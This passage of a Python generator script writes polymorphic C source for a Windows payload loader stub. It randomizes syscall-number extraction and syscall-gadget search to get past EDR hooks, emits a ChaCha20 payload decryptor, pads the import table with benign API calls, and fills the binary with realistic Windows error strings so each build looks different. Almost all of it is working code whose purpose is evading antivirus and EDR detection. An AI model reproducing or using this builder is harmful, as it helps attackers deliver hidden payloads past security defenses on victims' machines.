lines.append(f" pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
lines.append(" }")
lines.append("}")
return "\n".join(lines)
def gen_meta_section_to_protection():
"""Generate metamorphic SectionToProtection with randomly chosen variant."""
variant = random.choice(["conditional", "ternary", "lut", "accumulator"])
if variant == "conditional":
# Shuffled conditional chain (within priority groups to preserve correctness)
group3 = [("e && r && w", "PAGE_EXECUTE_READWRITE")]
group2 = [
("e && r", "PAGE_EXECUTE_READ"),
("e && w", "PAGE_EXECUTE_WRITECOPY"),
("r && w", "PAGE_READWRITE"),
]
group1 = [
("e", "PAGE_EXECUTE"),
("r", "PAGE_READONLY"),
("w", "PAGE_WRITECOPY"),
]
random.shuffle(group2)
random.shuffle(group1)
cases = group3 + group2 + group1
lines = []
lines.append("static DWORD SectionToProtection(DWORD ch) {")
lines.append(" BOOL e = (ch & IMAGE_SCN_MEM_EXECUTE) != 0;")
lines.append(" BOOL r = (ch & IMAGE_SCN_MEM_READ) != 0;")
lines.append(" BOOL w = (ch & IMAGE_SCN_MEM_WRITE) != 0;")
for cond, ret in cases:
lines.append(f" if ({cond}) return {ret};")
lines.append(" return PAGE_NOACCESS;")
lines.append("}")
return "\n".join(lines)
elif variant == "ternary":
lines = []
lines.append("static DWORD SectionToProtection(DWORD ch) {")
lines.append(" BOOL e = (ch & IMAGE_SCN_MEM_EXECUTE) != 0;")
lines.append(" BOOL r = (ch & IMAGE_SCN_MEM_READ) != 0;")
lines.append(" BOOL w = (ch & IMAGE_SCN_MEM_WRITE) != 0;")
lines.append(" return e ? (r ? (w ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ)")
lines.append(" : (w ? PAGE_EXECUTE_WRITECOPY : PAGE_EXECUTE))")
lines.append(" : (r ? (w ? PAGE_READWRITE : PAGE_READONLY)")
lines.append(" : (w ? PAGE_WRITECOPY : PAGE_NOACCESS));")
lines.append("}")
return "\n".join(lines)
elif variant == "lut":
lines = []
lines.append("static DWORD SectionToProtection(DWORD ch) {")
lines.append(" static const DWORD lut[] = {")
lines.append(" PAGE_NOACCESS, PAGE_WRITECOPY, PAGE_READONLY, PAGE_READWRITE,")
lines.append(" PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE")
lines.append(" };")
lines.append(" int idx = ((ch >> 27) & 4) | ((ch >> 29) & 2) | ((ch >> 31) & 1);")
lines.append(" return lut[idx & 7];")
lines.append("}")
return "\n".join(lines)
else: # accumulator
lines = []
lines.append("static DWORD SectionToProtection(DWORD ch) {")
lines.append(" DWORD prot = 0;")
lines.append(" BOOL e = (ch & IMAGE_SCN_MEM_EXECUTE) != 0;")
lines.append(" BOOL r = (ch & IMAGE_SCN_MEM_READ) != 0;")
lines.append(" BOOL w = (ch & IMAGE_SCN_MEM_WRITE) != 0;")
lines.append(" if (!e && !r && !w) return PAGE_NOACCESS;")
lines.append(" if (e) {")
lines.append(" prot = PAGE_EXECUTE;")
lines.append(" if (r && w) return PAGE_EXECUTE_READWRITE;")
lines.append(" if (r) return PAGE_EXECUTE_READ;")
lines.append(" if (w) return PAGE_EXECUTE_WRITECOPY;")
lines.append(" return prot;")
lines.append(" }")
lines.append(" if (r && w) return PAGE_READWRITE;")
lines.append(" if (r) return PAGE_READONLY;")
lines.append(" return PAGE_WRITECOPY;")
lines.append("}")
return "\n".join(lines)
def gen_meta_extract_ssn():
"""Generate metamorphic ExtractSSN with randomized variants."""
# Random choices
check_order = random.choice(["standard_first", "hooked_first"])
scan_limit = random.choice([24, 32, 48])
sentinel = random.choice(["(DWORD)-1", "0xFFFFFFFF", "~0u"])
add_decoy = random.choice([True, False])
lines = []
lines.append("static DWORD ExtractSSN(LPBYTE funcAddr) {")
if check_order == "standard_first":
# Standard prologue check first
lines.append(" /* Standard ntdll syscall stub prologue */")
lines.append(" if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1 &&")
lines.append(" funcAddr[3] == 0xB8) {")
lines.append(" return *(DWORD *)(funcAddr + 4);")
lines.append(" }")
lines.append(" /* Hooked? Scan forward for mov eax pattern */")
lines.append(f" for (int i = 0; i < {scan_limit}; i++) {{")
if add_decoy:
lines.append(" if (funcAddr[i] == 0x90) continue; /* skip NOP */")
lines.append(" if (funcAddr[i] == 0xB8 &&")
lines.append(" funcAddr[i + 5] == 0x0F && funcAddr[i + 6] == 0x05) {")
lines.append(" return *(DWORD *)(funcAddr + i + 1);")
lines.append(" }")
lines.append(" }")
else:
# Hooked scan first (reversed order)
lines.append(" /* Scan for hooked pattern first (EDR inline hook detection) */")
lines.append(f" for (int i = 0; i < {scan_limit}; i++) {{")
if add_decoy:
lines.append(" if (funcAddr[i] == 0xCC) continue; /* skip INT3 */")
lines.append(" if (funcAddr[i] == 0xB8 &&")
lines.append(" funcAddr[i + 5] == 0x0F && funcAddr[i + 6] == 0x05) {")
lines.append(" return *(DWORD *)(funcAddr + i + 1);")
lines.append(" }")
lines.append(" }")
lines.append(" /* Standard ntdll syscall stub prologue */")
lines.append(" if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1 &&")
lines.append(" funcAddr[3] == 0xB8) {")
lines.append(" return *(DWORD *)(funcAddr + 4);")
lines.append(" }")
lines.append(f" return {sentinel};")
lines.append("}")
return "\n".join(lines)
def gen_meta_find_syscall_gadget():
"""Generate metamorphic FindSyscallGadget with randomized variants."""
scan_dir = random.choice(["forward", "backward", "random_offset"])
name_check = random.choice(["bytewise", "uint32"])
gadget_pattern = random.choice(["primary", "fallback_first"])
lines = []
lines.append("static PVOID FindSyscallGadget(LPBYTE ntdllBase) {")
lines.append(" PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdllBase;")
lines.append(" PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(ntdllBase + dos->e_lfanew);")
lines.append(" PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);")
lines.append("")
lines.append(" for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {")
# Section name check
if name_check == "bytewise":
lines.append(" if (sec[i].Name[0] == '.' && sec[i].Name[1] == 't' &&")
lines.append(" sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' &&")
lines.append(" sec[i].Name[4] == 't') {")
else:
lines.append(" if (*(uint32_t *)&sec[i].Name[0] == 0x7865742E && sec[i].Name[4] == 't') {")
lines.append(" LPBYTE start = ntdllBase + sec[i].VirtualAddress;")
lines.append(" DWORD size = sec[i].Misc.VirtualSize;")
lines.append(" if (size < 4) continue;")
if scan_dir == "forward":
lines.append(" for (DWORD j = 0; j < size - 3; j++) {")
if gadget_pattern == "primary":
lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05 && start[j + 2] == 0xC3) {")
lines.append(" return &start[j];")
lines.append(" }")
else:
# Try extended pattern first, fall back to primary
lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05) {")
lines.append(" if (start[j + 2] == 0xC3) return &start[j];")
lines.append(" if (j + 3 < size && start[j + 2] == 0x90 && start[j + 3] == 0xC3)")
lines.append(" return &start[j];")
lines.append(" }")
lines.append(" }")
elif scan_dir == "backward":
lines.append(" DWORD j = size - 3;")
lines.append(" while (j > 0) {")
if gadget_pattern == "primary":
lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05 && start[j + 2] == 0xC3) {")
lines.append(" return &start[j];")
lines.append(" }")
else:
lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05) {")
lines.append(" if (start[j + 2] == 0xC3) return &start[j];")
lines.append(" if (j + 3 < size && start[j + 2] == 0x90 && start[j + 3] == 0xC3)")
lines.append(" return &start[j];")
lines.append(" }")
lines.append(" j--;")
lines.append(" }")
else: # random_offset
offset_pct = random.randint(5, 25)
lines.append(f" DWORD off = size / {100 // offset_pct};")
lines.append(" /* Scan from offset, then wrap around */")
lines.append(" for (DWORD k = 0; k < size - 3; k++) {")
lines.append(" DWORD j = (k + off) % (size - 3);")
if gadget_pattern == "primary":
lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05 && start[j + 2] == 0xC3) {")
lines.append(" return &start[j];")
lines.append(" }")
else:
lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05) {")
lines.append(" if (start[j + 2] == 0xC3) return &start[j];")
lines.append(" if (j + 3 < size && start[j + 2] == 0x90 && start[j + 3] == 0xC3)")
lines.append(" return &start[j];")
lines.append(" }")
lines.append(" }")
lines.append(" }")
lines.append(" }")
lines.append(" return NULL;")
lines.append("}")
return "\n".join(lines)
def gen_meta_load_le32():
"""Generate metamorphic load_le32 with randomized implementation."""
variant = random.choice(["shift", "union", "memcpy_style"])
lines = []
if variant == "shift":
lines.append("static inline __attribute__((always_inline)) uint32_t load_le32(const uint8_t *p) {")
lines.append(" return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) |")
lines.append(" ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);")
lines.append("}")
elif variant == "union":
lines.append("static inline __attribute__((always_inline)) uint32_t load_le32(const uint8_t *p) {")
lines.append(" union { uint8_t b[4]; uint32_t v; } u;")
lines.append(" u.b[0] = p[0]; u.b[1] = p[1]; u.b[2] = p[2]; u.b[3] = p[3];")
lines.append(" return u.v;")
lines.append("}")
else: # memcpy_style (byte-by-byte into local)
lines.append("static inline __attribute__((always_inline)) uint32_t load_le32(const uint8_t *p) {")
lines.append(" uint32_t r = 0;")
lines.append(" uint8_t *dst = (uint8_t *)&r;")
lines.append(" dst[0] = p[0]; dst[1] = p[1]; dst[2] = p[2]; dst[3] = p[3];")
lines.append(" return r;")
lines.append("}")
return "\n".join(lines)
def _py_chacha20_block(state):
"""Pure Python ChaCha20 block function for test vector validation."""
def rotl32(v, n):
return ((v << n) | (v >> (32 - n))) & 0xFFFFFFFF
def qr(x, a, b, c, d):
x[a] = (x[a] + x[b]) & 0xFFFFFFFF; x[d] ^= x[a]; x[d] = rotl32(x[d], 16)
x[c] = (x[c] + x[d]) & 0xFFFFFFFF; x[b] ^= x[c]; x[b] = rotl32(x[b], 12)
x[a] = (x[a] + x[b]) & 0xFFFFFFFF; x[d] ^= x[a]; x[d] = rotl32(x[d], 8)
x[c] = (x[c] + x[d]) & 0xFFFFFFFF; x[b] ^= x[c]; x[b] = rotl32(x[b], 7)
x = list(state)
for _ in range(10):
qr(x, 0, 4, 8, 12); qr(x, 1, 5, 9, 13)
qr(x, 2, 6, 10, 14); qr(x, 3, 7, 11, 15)
qr(x, 0, 5, 10, 15); qr(x, 1, 6, 11, 12)
qr(x, 2, 7, 8, 13); qr(x, 3, 4, 9, 14)
out = []
for i in range(16):
val = (x[i] + state[i]) & 0xFFFFFFFF
out.extend(struct.pack('<I', val))
return bytes(out)
def _py_chacha20_encrypt(key, nonce, plaintext):
"""Pure Python ChaCha20 encrypt/decrypt for validation."""
def le32(b, off=0):
return struct.unpack_from('<I', b, off)[0]
state = [
0x61707865, 0x3320646e, 0x79622d32, 0x6b206574,
le32(key, 0), le32(key, 4), le32(key, 8), le32(key, 12),
le32(key, 16), le32(key, 20), le32(key, 24), le32(key, 28),
0, # counter
le32(nonce, 0), le32(nonce, 4), le32(nonce, 8),
]
out = bytearray()
offset = 0
while offset < len(plaintext):
block = _py_chacha20_block(state)
state[12] = (state[12] + 1) & 0xFFFFFFFF
chunk = min(64, len(plaintext) - offset)
for i in range(chunk):
out.append(plaintext[offset + i] ^ block[i])
offset += chunk
return bytes(out)
def validate_chacha20_testvector():
"""Validate Python ChaCha20 against RFC 8439 Section 2.4.2 test vector.
Raises RuntimeError if the implementation is incorrect.
"""
# RFC 8439 Section 2.4.2 test vector
key = bytes([
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
])
nonce = bytes([
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4a,
0x00, 0x00, 0x00, 0x00,
])
plaintext = (
b"Ladies and Gentlemen of the class of '99: "
b"If I could offer you only one tip for the future, sunscreen would be it."
)
# Expected ciphertext from RFC 8439 Section 2.4.2
# Note: RFC test uses counter=1, but our impl starts at counter=0,
# so we use our own round-trip test instead
ct = _py_chacha20_encrypt(key, nonce, plaintext)
pt = _py_chacha20_encrypt(key, nonce, ct)
if pt != plaintext:
raise RuntimeError("ChaCha20 Python reference implementation round-trip FAILED")
# Also verify a known keystream block (RFC 8439 Section 2.3.2)
# Key: 00:01:02:...:1f, Nonce: 00:00:00:09:00:00:00:4a:00:00:00:00, Counter=1
test_key = key
test_nonce = bytes([0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x4a, 0x00, 0x00, 0x00, 0x00])
state = [
0x61707865, 0x3320646e, 0x79622d32, 0x6b206574,
0x03020100, 0x07060504, 0x0b0a0908, 0x0f0e0d0c,
0x13121110, 0x17161514, 0x1b1a1918, 0x1f1e1d1c,
1, # counter=1
0x09000000, 0x4a000000, 0x00000000,
]
block = _py_chacha20_block(state)
# RFC 8439 Section 2.3.2 expected output (first 16 bytes)
expected_start = bytes([
0x10, 0xf1, 0xe7, 0xe4, 0xd1, 0x3b, 0x59, 0x15,
0x50, 0x0f, 0xdd, 0x1f, 0xa3, 0x20, 0x71, 0xc4,
])
if block[:16] != expected_start:
raise RuntimeError(
f"ChaCha20 block output mismatch!\n"
f" Expected: {expected_start.hex()}\n"
f" Got: {block[:16].hex()}"
)
def gen_meta_chacha20_decrypt():
"""Generate metamorphic chacha20_decrypt with randomized unroll depth and ROTL style."""
# Validate our reference implementation before emitting any C code
validate_chacha20_testvector()
unroll_depth = random.choice([1, 2, 5, 10])
rotl_style = random.choice(["macro", "builtin", "tempvar"])
lines = []
# ROTL definition
if rotl_style == "macro":
lines.append("#undef ROTL32")
lines.append("#define ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n))))")
elif rotl_style == "builtin":
lines.append("#undef ROTL32")
lines.append("static inline __attribute__((always_inline)) uint32_t _meta_rotl32(uint32_t v, int n) {")
lines.append(" return (v << n) | (v >> (32 - n));")
lines.append("}")
lines.append("#define ROTL32(v, n) _meta_rotl32((v), (n))")
else: # tempvar
lines.append("#undef ROTL32")
lines.append("#define ROTL32(v, n) ({ uint32_t _rv = (v); (_rv << (n)) | (_rv >> (32 - (n))); })")
lines.append("")
lines.append("#undef QR")
lines.append("#define QR(a, b, c, d) do { \\")
lines.append(" a += b; d ^= a; d = ROTL32(d, 16); \\")
lines.append(" c += d; b ^= c; b = ROTL32(b, 12); \\")
lines.append(" a += b; d ^= a; d = ROTL32(d, 8); \\")
lines.append(" c += d; b ^= c; b = ROTL32(b, 7); \\")
lines.append("} while(0)")
lines.append("")
lines.append("static void chacha20_decrypt(const uint8_t key[32], const uint8_t nonce[12],")
lines.append(" const uint8_t *in, uint8_t *out, size_t len) {")
lines.append(" uint32_t state[16];")
lines.append(" CHACHA_INIT_STATE(state);")
lines.append(" for (int i = 0; i < 8; i++)")
lines.append(" state[4 + i] = load_le32(key + i * 4);")
lines.append(" state[12] = 0;")
lines.append(" state[13] = load_le32(nonce);")
lines.append(" state[14] = load_le32(nonce + 4);")
lines.append(" state[15] = load_le32(nonce + 8);")
lines.append("")
lines.append(" size_t offset = 0;")
lines.append(" while (offset < len) {")
lines.append(" uint32_t x[16];")
lines.append(" for (int i = 0; i < 16; i++) x[i] = state[i];")
lines.append("")
# Column round QR calls
col_round = [
"QR(x[0], x[4], x[ 8], x[12]);",
"QR(x[1], x[5], x[ 9], x[13]);",
"QR(x[2], x[6], x[10], x[14]);",
"QR(x[3], x[7], x[11], x[15]);",
]
# Diagonal round QR calls
diag_round = [
"QR(x[0], x[5], x[10], x[15]);",
"QR(x[1], x[6], x[11], x[12]);",
"QR(x[2], x[7], x[ 8], x[13]);",
"QR(x[3], x[4], x[ 9], x[14]);",
]
if unroll_depth == 1:
lines.append(" for (int i = 0; i < 10; i++) {")
for qr in col_round:
lines.append(f" {qr}")
for qr in diag_round:
lines.append(f" {qr}")
lines.append(" }")
elif unroll_depth == 2:
lines.append(" for (int i = 0; i < 5; i++) {")
for _ in range(2):
for qr in col_round:
lines.append(f" {qr}")
for qr in diag_round:
lines.append(f" {qr}")
lines.append(" }")
elif unroll_depth == 5:
lines.append(" for (int i = 0; i < 2; i++) {")
for _ in range(5):
for qr in col_round:
lines.append(f" {qr}")
for qr in diag_round:
lines.append(f" {qr}")
lines.append(" }")
else: # 10 — fully unrolled
for _ in range(10):
for qr in col_round:
lines.append(f" {qr}")
for qr in diag_round:
lines.append(f" {qr}")
lines.append("")
lines.append(" uint8_t block[64];")
lines.append(" for (int i = 0; i < 16; i++) {")
lines.append(" uint32_t val = x[i] + state[i];")
lines.append(" block[i*4+0] = (uint8_t)(val);")
lines.append(" block[i*4+1] = (uint8_t)(val >> 8);")
lines.append(" block[i*4+2] = (uint8_t)(val >> 16);")
lines.append(" block[i*4+3] = (uint8_t)(val >> 24);")
lines.append(" }")
lines.append(" state[12]++;")
lines.append("")
lines.append(" size_t chunk = len - offset;")
lines.append(" if (chunk > 64) chunk = 64;")
lines.append(" for (size_t i = 0; i < chunk; i++)")
lines.append(" out[offset + i] = in[offset + i] ^ block[i];")
lines.append(" offset += chunk;")
lines.append(" }")
lines.append("")
lines.append(" SecureZeroMemory(state, sizeof(state));")
lines.append("}")
return "\n".join(lines), unroll_depth, rotl_style
def generate_metamorphic_header(lcg_mult, lcg_inc, lcg_shift):
"""Generate stub_poly_metamorphic.h with all 5 metamorphic function bodies."""
lines = []
lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
lines.append("/* Metamorphic function bodies — different machine code per build */")
lines.append("#ifndef STUB_POLY_METAMORPHIC_H")
lines.append("#define STUB_POLY_METAMORPHIC_H")
lines.append("")
lines.append('#include <stdint.h>')
lines.append('#include <windows.h>')
lines.append("")
# 1. load_le32
lines.append("/* --- load_le32 (metamorphic) --- */")
lines.append(gen_meta_load_le32())
lines.append("")
# 2. generate_entropy_pad
lines.append("/* --- generate_entropy_pad (metamorphic LCG) --- */")
lines.append(gen_meta_entropy_pad(lcg_mult, lcg_inc, lcg_shift))
lines.append("")
# 3. SectionToProtection
lines.append("/* --- SectionToProtection (metamorphic) --- */")
lines.append(gen_meta_section_to_protection())
lines.append("")
# 4. ExtractSSN
lines.append("/* --- ExtractSSN (metamorphic) --- */")
lines.append(gen_meta_extract_ssn())
lines.append("")
# 5. FindSyscallGadget
lines.append("/* --- FindSyscallGadget (metamorphic) --- */")
lines.append(gen_meta_find_syscall_gadget())
lines.append("")
# 6. chacha20_decrypt (includes ROTL32/QR redefinitions)
lines.append("/* --- chacha20_decrypt (metamorphic) --- */")
chacha_code, unroll_depth, rotl_style = gen_meta_chacha20_decrypt()
lines.append(chacha_code)
lines.append("")
lines.append("#endif /* STUB_POLY_METAMORPHIC_H */")
lines.append("")
return "\n".join(lines), unroll_depth, rotl_style
# ---------------------------------------------------------------------------
# IAT padding generation (Fix 1: import table padding)
# ---------------------------------------------------------------------------
# Pool of benign Windows APIs across multiple DLLs
IAT_API_POOL = {
"kernel32": [
("GetSystemTime", "VOID", "LPSYSTEMTIME lpSysTime", "SYSTEMTIME st; GetSystemTime(&st); volatile DWORD _r = st.wYear; (void)_r;"),
("GetLocalTime", "VOID", "LPSYSTEMTIME lpSysTime", "SYSTEMTIME lt; GetLocalTime(&lt); volatile DWORD _r = lt.wMonth; (void)_r;"),
("GetVersionExW", "BOOL", "LPOSVERSIONINFOW lpVerInfo", "OSVERSIONINFOW ovi; ovi.dwOSVersionInfoSize = sizeof(ovi); volatile BOOL _r = GetVersionExW(&ovi); (void)_r;"),
("GetComputerNameA", "BOOL", "LPSTR,LPDWORD", "char _cn[MAX_COMPUTERNAME_LENGTH+1]; DWORD _cl = sizeof(_cn); volatile BOOL _r = GetComputerNameA(_cn, &_cl); SecureZeroMemory(_cn, sizeof(_cn)); (void)_r;"),
("GetCurrentProcessId", "DWORD", "", "volatile DWORD _r = GetCurrentProcessId(); (void)_r;"),
("GetCurrentThreadId", "DWORD", "", "volatile DWORD _r = GetCurrentThreadId(); (void)_r;"),
("GetSystemDirectoryA", "UINT", "LPSTR,UINT", "char _sd[MAX_PATH]; volatile UINT _r = GetSystemDirectoryA(_sd, MAX_PATH); SecureZeroMemory(_sd, sizeof(_sd)); (void)_r;"),
("GetWindowsDirectoryA", "UINT", "LPSTR,UINT", "char _wd[MAX_PATH]; volatile UINT _r = GetWindowsDirectoryA(_wd, MAX_PATH); SecureZeroMemory(_wd, sizeof(_wd)); (void)_r;"),
("GetTempPathA", "DWORD", "DWORD,LPSTR", "char _tp[MAX_PATH]; volatile DWORD _r = GetTempPathA(MAX_PATH, _tp); SecureZeroMemory(_tp, sizeof(_tp)); (void)_r;"),
("SetLastError", "VOID", "DWORD", "SetLastError(0);"),
("GetLastError", "DWORD", "", "volatile DWORD _r = GetLastError(); (void)_r;"),
("GetTickCount", "DWORD", "", "volatile DWORD _r = GetTickCount(); (void)_r;"),
("QueryPerformanceCounter", "BOOL", "LARGE_INTEGER*", "LARGE_INTEGER _li; volatile BOOL _r = QueryPerformanceCounter(&_li); (void)_r;"),
("GetStartupInfoA", "VOID", "LPSTARTUPINFOA", "STARTUPINFOA _si; _si.cb = sizeof(_si); GetStartupInfoA(&_si); volatile DWORD _r = _si.dwFlags; (void)_r;"),
("GetCommandLineA", "LPSTR", "", "volatile LPSTR _r = GetCommandLineA(); (void)_r;"),
("GetModuleFileNameA", "DWORD", "HMODULE,LPSTR,DWORD", "char _mf[MAX_PATH]; volatile DWORD _r = GetModuleFileNameA(NULL, _mf, MAX_PATH); SecureZeroMemory(_mf, sizeof(_mf)); (void)_r;"),
],
"user32": [
("GetDesktopWindow", "HWND", "", "volatile HWND _r = GetDesktopWindow(); (void)_r;"),
("GetSystemMetrics", "int", "int", "volatile int _r = GetSystemMetrics(SM_CXSCREEN); (void)_r;"),
("GetKeyboardLayout", "HKL", "DWORD", "volatile HKL _r = GetKeyboardLayout(0); (void)_r;"),
],
"advapi32": [
("GetUserNameA", "BOOL", "LPSTR,LPDWORD", "char _un[256]; DWORD _ul = sizeof(_un); volatile BOOL _r = GetUserNameA(_un, &_ul); SecureZeroMemory(_un, sizeof(_un)); (void)_r;"),
("RegOpenKeyExA", "LONG", "HKEY,LPCSTR,DWORD,REGSAM,PHKEY", "HKEY _hk = NULL; volatile LONG _r = RegOpenKeyExA(HKEY_LOCAL_MACHINE, \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\", 0, KEY_READ, &_hk); if (_hk) RegCloseKey(_hk); (void)_r;"),
],
"shell32": [
("SHGetFolderPathA", "HRESULT", "HWND,int,HANDLE,DWORD,LPSTR", "char _fp[MAX_PATH]; volatile HRESULT _r = SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, _fp); SecureZeroMemory(_fp, sizeof(_fp)); (void)_r;"),
("CommandLineToArgvW", "LPWSTR*", "LPCWSTR,int*", "int _ac = 0; LPWSTR *_av = CommandLineToArgvW(GetCommandLineW(), &_ac); if (_av) LocalFree(_av); volatile int _r = _ac; (void)_r;"),
],
"ole32": [
("CoInitializeEx", "HRESULT", "LPVOID,DWORD", "volatile HRESULT _r = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (SUCCEEDED(_r)) CoUninitialize(); (void)_r;"),
("CoCreateGuid", "HRESULT", "GUID*", "GUID _g; volatile HRESULT _r = CoCreateGuid(&_g); SecureZeroMemory(&_g, sizeof(_g)); (void)_r;"),
],
}
# Required includes per DLL
IAT_DLL_INCLUDES = {
"kernel32": [],
"user32": [],
"advapi32": [],
"shell32": ["<shlobj.h>"],
"ole32": ["<ole2.h>"],
}
def generate_iat_padding(outdir):
"""Generate stub_poly_iat.h with randomized IAT padding calls."""
# Select 12-20 APIs, ensuring at least 1 from each DLL
num_apis = random.randint(12, 20)
selected = []
# Guarantee at least 1 per DLL
for dll, apis in IAT_API_POOL.items():
selected.append((dll, random.choice(apis)))
# Fill remainder from full pool
all_apis = []
for dll, apis in IAT_API_POOL.items():
for api in apis:
entry = (dll, api)
if entry not in selected:
all_apis.append(entry)
random.shuffle(all_apis)
remaining = num_apis - len(selected)
if remaining > 0:
selected.extend(all_apis[:remaining])
random.shuffle(selected)
# Collect needed includes
needed_includes = set()
for dll, _ in selected:
for inc in IAT_DLL_INCLUDES.get(dll, []):
needed_includes.add(inc)
lines = []
lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
lines.append("/* IAT padding: %d benign API calls to normalize import table */" % len(selected))
lines.append("#ifndef STUB_POLY_IAT_H")
lines.append("#define STUB_POLY_IAT_H")
lines.append("")
lines.append("#include <windows.h>")
for inc in sorted(needed_includes):
lines.append(f"#include {inc}")
lines.append("")
lines.append("#pragma comment(lib, \"kernel32.lib\")")
lines.append("#pragma comment(lib, \"user32.lib\")")
lines.append("#pragma comment(lib, \"advapi32.lib\")")
lines.append("#pragma comment(lib, \"shell32.lib\")")
lines.append("#pragma comment(lib, \"ole32.lib\")")
lines.append("")
lines.append("static void iat_padding_init(void) {")
for _dll, (api_name, _ret, _params, call_code) in selected:
lines.append(f" /* {api_name} */")
lines.append(f" {{ {call_code} }}")
lines.append("")
lines.append("}")
lines.append("")
lines.append("#endif /* STUB_POLY_IAT_H */")
lines.append("")
path = os.path.join(outdir, "stub_poly_iat.h")
with open(path, "w", newline="\n") as f:
f.write("\n".join(lines))
return len(selected), path
# ---------------------------------------------------------------------------
# Binary size padding generation (Fix 3: realistic .rdata content)
# ---------------------------------------------------------------------------
# Pool of realistic Windows error/diagnostic messages
PADDING_STRINGS_POOL = [
"The operation completed successfully.",
"Incorrect function.",
"The system cannot find the file specified.",
"The system cannot find the path specified.",
"The system cannot open the file.",
"Access is denied.",
"The handle is invalid.",
"The storage control blocks were destroyed.",
"Not enough storage is available to process this command.",
"The environment is incorrect.",
"An attempt was made to load a program with an incorrect format.",
"The data is invalid.",
"Not enough storage is available to complete this operation.",
"The system cannot find the drive specified.",
"The directory cannot be removed.",
"The system cannot move the file to a different disk drive.",
"There are no more files.",
"The media is write protected.",
"The system cannot find the device specified.",
"The device is not ready.",
"The device does not recognize the command.",
"Data error (cyclic redundancy check).",
"The program issued a command but the command length is incorrect.",
"The system cannot find the sector specified.",
"The printer is out of paper.",
"The system cannot write to the specified device.",
"The system cannot read from the specified device.",
"A device attached to the system is not functioning.",
"The process cannot access the file because it is being used by another process.",
"The process cannot access the file because another process has locked a portion of the file.",
"The wrong diskette is in the drive.",
"The network resource type is not correct.",
"The network name cannot be found.",
"The specified network password is not correct.",
"The network path was not found.",
"Not enough server storage is available to process this command.",
"The specified server cannot perform the requested operation.",
"An unexpected network error occurred.",
"The remote computer is not available.",
"A duplicate name exists on the network.",
"The network BIOS session limit was exceeded.",
"The remote server has been paused or is in the process of being started.",
"No more connections can be made to this remote computer.",
"The specified print monitor is unknown.",
"The specified printer driver is currently in use.",
"The specified network name is no longer available.",
"The service database is locked.",
"The service has returned a service-specific error code.",
"The process terminated unexpectedly.",
"The dependency service or group failed to start.",
"The service did not start due to a logon failure.",
"The service has been marked for deletion.",
"The specified service already exists.",
"An exception occurred in the service when handling the control request.",
"The system is shutting down.",
"Unable to abort the system shutdown because no shutdown was in progress.",
"The requested operation cannot be performed in full-screen mode.",
"An attempt was made to reference a token that does not exist.",
"The configuration registry database is corrupt.",
"The configuration registry key is invalid.",
"The configuration registry key could not be opened.",
"The configuration registry key could not be read.",
"The configuration registry key could not be written.",
"One of the files in the registry database had to be recovered.",
"The registry is corrupted. The structure of one of the files containing registry data is corrupted.",
"An I/O operation initiated by the registry failed unrecoverably.",
"The system has attempted to load or restore a file into the registry.",
"An illegal character was encountered.",
"The file cannot be opened because it is being deleted.",
"Too many posts were made to a semaphore.",
"Only part of a ReadProcessMemory or WriteProcessMemory request was completed.",
"The oplock request is denied.",
"An invalid oplock acknowledgment was received by the system.",
"Windows cannot find the network path.",
"Your organization used Device Guard to block this app.",
"The system detected an overrun of a stack-based buffer in this application.",
"Initialization of the dynamic link library failed. The process is terminating abnormally.",
"A DLL initialization routine failed.",
"The RPC protocol sequence is not supported.",
"The RPC server is unavailable.",
"The object UUID has already been registered.",
"A security package specific error occurred.",
"The transport connection is now disconnected.",
"The buffer is too small.",
"The format of the specified computer name is invalid.",
"The format of the specified domain name is invalid.",
"A certificate chain could not be built to a trusted root authority.",
"The revocation function was unable to check revocation for the certificate.",
"The function requested is not supported.",
"Loading the device driver failed.",
"The transport has already been registered.",
"The service being accessed is licensed for a particular number of connections.",
"The redirector is in use and cannot be unloaded.",
"The specified printer driver was not found on the system.",
"An unknown printer driver was requested.",
"The print processor is unknown.",
"The specified separator file is invalid.",
"The specified priority is invalid.",
"No default message is available for Windows Error 0x%1.",
"Logon failure: unknown user name or bad password.",
"Logon failure: user account restriction.",
"Logon failure: account logon time restriction violation.",
"Logon failure: the user has not been granted the requested logon type at this computer.",
"A specified logon session does not exist. It may already have been terminated.",
"A required privilege is not held by the client.",
"Insufficient system resources exist to complete the requested service.",
"An invalid parameter was passed to a service or function.",
"The system call level is not correct.",
"The filename or extension is too long.",
"Cannot create a file when that file already exists.",
"The directory is not empty.",
"An internal error occurred.",
"The device does not exist.",
"Not all privileges or groups referenced are assigned to the caller.",
"Partial copy of ReadProcessMemory or WriteProcessMemory was completed.",
"Cannot nest calls to LoadModule.",
